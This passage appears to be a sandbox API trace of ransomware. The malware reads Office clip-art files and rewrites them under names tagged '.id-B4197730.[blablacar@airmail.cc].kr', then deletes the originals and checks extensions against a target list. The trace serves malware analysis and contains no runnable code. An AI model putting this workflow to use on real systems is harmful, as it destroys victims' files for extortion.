returned 1 [0204.438] SetEndOfFile (hFile=0x4d8) returned 1 [0204.438] CloseHandle (hObject=0x4d8) returned 1 [0204.438] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.438] SetEndOfFile (hFile=0x370) returned 1 [0204.442] CloseHandle (hObject=0x370) returned 1 [0204.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0204.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.443] lstrlenW (lpString=".doc") returned 4 [0204.443] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.443] lstrlenW (lpString=".docx") returned 5 [0204.443] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0204.443] lstrlenW (lpString=".pdf") returned 4 [0204.443] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.443] lstrlenW (lpString=".xls") returned 4 [0204.443] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.443] lstrlenW (lpString=".xlsx") returned 5 [0204.443] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0204.443] lstrlenW (lpString=".ppt") returned 4 [0204.443] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.443] lstrlenW (lpString=".zip") returned 4 [0204.443] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.443] lstrlenW (lpString=".rar") returned 4 [0204.443] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.443] lstrlenW (lpString=".bz2") returned 4 [0204.443] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.443] lstrlenW (lpString=".7z") returned 3 [0204.443] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.444] lstrlenW (lpString=".dbf") returned 4 [0204.444] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.444] lstrlenW (lpString=".1cd") returned 4 [0204.444] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.444] lstrlenW (lpString=".jpg") returned 4 [0204.444] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.444] lstrlenW (lpString=".doc") returned 4 [0204.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.444] lstrlenW (lpString=".docx") returned 5 [0204.444] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0204.444] lstrlenW (lpString=".pdf") returned 4 [0204.444] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.444] lstrlenW (lpString=".xls") returned 4 [0204.444] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.444] lstrlenW (lpString=".xlsx") returned 5 [0204.444] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0204.444] lstrlenW (lpString=".ppt") returned 4 [0204.444] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.444] lstrlenW (lpString=".zip") returned 4 [0204.444] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.444] lstrlenW (lpString=".rar") returned 4 [0204.444] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.444] lstrlenW (lpString=".bz2") returned 4 [0204.444] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.444] lstrlenW (lpString=".7z") returned 3 [0204.444] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.445] lstrlenW (lpString=".dbf") returned 4 [0204.445] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.445] lstrlenW (lpString=".1cd") returned 4 [0204.445] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0204.445] lstrlenW (lpString=".jpg") returned 4 [0204.445] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.445] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0204.445] lstrlenW (lpString="J0099201.GIF") returned 12 [0204.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0204.446] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=51401) returned 1 [0204.446] CloseHandle (hObject=0x370) returned 1 [0204.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0204.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0204.446] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.446] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.447] GetLastError () returned 0x0 [0204.447] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0204.450] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0204.452] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.452] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.452] SetEndOfFile (hFile=0x4d8) returned 1 [0204.452] CloseHandle (hObject=0x4d8) returned 1 [0204.452] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.453] SetEndOfFile (hFile=0x370) returned 1 [0204.715] CloseHandle (hObject=0x370) returned 1 [0204.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0204.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.738] lstrlenW (lpString=".doc") returned 4 [0204.738] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.738] lstrlenW (lpString=".docx") returned 5 [0204.738] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0204.738] lstrlenW (lpString=".pdf") returned 4 [0204.738] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.738] lstrlenW (lpString=".xls") returned 4 [0204.738] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.738] lstrlenW (lpString=".xlsx") returned 5 [0204.738] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0204.738] lstrlenW (lpString=".ppt") returned 4 [0204.738] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.739] lstrlenW (lpString=".zip") returned 4 [0204.739] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.739] lstrlenW (lpString=".rar") returned 4 [0204.739] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.739] lstrlenW (lpString=".bz2") returned 4 [0204.739] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.739] lstrlenW (lpString=".7z") returned 3 [0204.739] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.739] lstrlenW (lpString=".dbf") returned 4 [0204.739] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.739] lstrlenW (lpString=".1cd") returned 4 [0204.739] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.739] lstrlenW (lpString=".jpg") returned 4 [0204.739] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.739] lstrlenW (lpString=".doc") returned 4 [0204.739] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.739] lstrlenW (lpString=".docx") returned 5 [0204.739] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0204.739] lstrlenW (lpString=".pdf") returned 4 [0204.739] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.739] lstrlenW (lpString=".xls") returned 4 [0204.739] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.739] lstrlenW (lpString=".xlsx") returned 5 [0204.739] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0204.739] lstrlenW (lpString=".ppt") returned 4 [0204.739] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.739] lstrlenW (lpString=".zip") returned 4 [0204.740] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.740] lstrlenW (lpString=".rar") returned 4 [0204.740] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.740] lstrlenW (lpString=".bz2") returned 4 [0204.740] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.740] lstrlenW (lpString=".7z") returned 3 [0204.740] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.740] lstrlenW (lpString=".dbf") returned 4 [0204.740] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.740] lstrlenW (lpString=".1cd") returned 4 [0204.740] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0204.740] lstrlenW (lpString=".jpg") returned 4 [0204.740] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.740] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.740] lstrlenW (lpString="J0101859.BMP") returned 12 [0204.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.741] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=31968) returned 1 [0204.741] CloseHandle (hObject=0x38c) returned 1 [0204.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0204.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.741] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.741] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0204.742] GetLastError () returned 0x0 [0204.742] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0204.747] WriteFile (in: hFile=0x54c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0204.748] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.748] WriteFile (in: hFile=0x54c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.748] SetEndOfFile (hFile=0x54c) returned 1 [0204.749] CloseHandle (hObject=0x54c) returned 1 [0204.749] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.749] SetEndOfFile (hFile=0x38c) returned 1 [0204.752] CloseHandle (hObject=0x38c) returned 1 [0204.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0204.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.754] lstrlenW (lpString=".doc") returned 4 [0204.754] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.754] lstrlenW (lpString=".docx") returned 5 [0204.754] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0204.754] lstrlenW (lpString=".pdf") returned 4 [0204.754] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.754] lstrlenW (lpString=".xls") returned 4 [0204.754] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.754] lstrlenW (lpString=".xlsx") returned 5 [0204.754] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0204.754] lstrlenW (lpString=".ppt") returned 4 [0204.754] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.754] lstrlenW (lpString=".zip") returned 4 [0204.754] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.754] lstrlenW (lpString=".rar") returned 4 [0204.754] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.754] lstrlenW (lpString=".bz2") returned 4 [0204.754] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.754] lstrlenW (lpString=".7z") returned 3 [0204.754] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.754] lstrlenW (lpString=".dbf") returned 4 [0204.754] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.755] lstrlenW (lpString=".1cd") returned 4 [0204.755] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.755] lstrlenW (lpString=".jpg") returned 4 [0204.755] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.755] lstrlenW (lpString=".doc") returned 4 [0204.755] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.755] lstrlenW (lpString=".docx") returned 5 [0204.755] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0204.755] lstrlenW (lpString=".pdf") returned 4 [0204.755] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.755] lstrlenW (lpString=".xls") returned 4 [0204.755] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.755] lstrlenW (lpString=".xlsx") returned 5 [0204.755] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0204.755] lstrlenW (lpString=".ppt") returned 4 [0204.755] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.755] lstrlenW (lpString=".zip") returned 4 [0204.755] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.755] lstrlenW (lpString=".rar") returned 4 [0204.755] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.755] lstrlenW (lpString=".bz2") returned 4 [0204.755] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.755] lstrlenW (lpString=".7z") returned 3 [0204.755] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.755] lstrlenW (lpString=".dbf") returned 4 [0204.755] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.755] lstrlenW (lpString=".1cd") returned 4 [0204.756] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0204.756] lstrlenW (lpString=".jpg") returned 4 [0204.756] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.756] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.756] lstrlenW (lpString="J0101860.BMP") returned 12 [0204.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.757] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=32184) returned 1 [0204.757] CloseHandle (hObject=0x38c) returned 1 [0204.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0204.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.758] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.758] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0204.758] GetLastError () returned 0x0 [0204.759] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0204.761] WriteFile (in: hFile=0x54c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0204.762] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.762] WriteFile (in: hFile=0x54c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.762] SetEndOfFile (hFile=0x54c) returned 1 [0204.763] CloseHandle (hObject=0x54c) returned 1 [0204.763] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.763] SetEndOfFile (hFile=0x38c) returned 1 [0204.766] CloseHandle (hObject=0x38c) returned 1 [0204.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.766] DeleteFileW (lpFileName="C:\\Program 